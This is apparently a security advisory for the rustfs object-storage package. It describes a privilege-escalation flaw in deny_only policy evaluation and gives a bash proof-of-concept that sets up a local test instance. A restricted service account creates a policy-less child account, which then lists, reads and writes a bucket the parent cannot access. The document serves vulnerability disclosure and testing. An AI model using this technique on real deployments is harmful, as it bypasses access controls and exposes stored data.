Incorrect Privilege Assignment Affecting rustfs package, versions *

rustfs is a high-performance distributed object storage software built using Rust, one of the most popular languages worldwide. Along with MinIO, it shares a range of advantages such as simplicity, S3 compatibility, open-source nature, support for data lakes, AI, and big data. Furthermore, it has a better and more user-friendly open-source license in comparison to other storage systems, being constructed under the Apache license.

Affected versions of this package are vulnerable to Incorrect Privilege Assignment in the deny_only policy evaluation process. An attacker can gain elevated privileges and bypass existing access restrictions by creating a new service account without a policy, thereby inheriting the parent account's full permissions.

#!/usr/bin/env bash
set -euo pipefail

# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"

# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"

# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost

# ===================== Helpers =====================
aws_cmd() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}

awscurl_admin() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
    "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}

timestamp_iso() {
  python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}

# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
  awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done

echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done

# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done

echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt

EXP="$(timestamp_iso)"

echo "[+] create restricted policy"
RESTRICTED_POLICY='{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": ["s3:ListBucket"],
      "Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
    },
    {
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
    }
  ]
}'

echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
  > /tmp/restricted_sa.json
cat /tmp/restricted_sa.json

echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls

echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
  -H 'Content-Type: application/json' \
  -d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
      '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
  > /tmp/child_sa.json
cat /tmp/child_sa.json

echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
  echo "child list bucket3: SUCCESS (vuln)"
else
  echo "child list bucket3: DENIED"
fi

echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
  echo "child read marker: SUCCESS (vuln). Content:"
  cat /tmp/poc-marker.txt
else
  echo "child read marker: DENIED"
fi

echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
  echo "child write: SUCCESS (vuln)"
else
  echo "child write: DENIED"
fi

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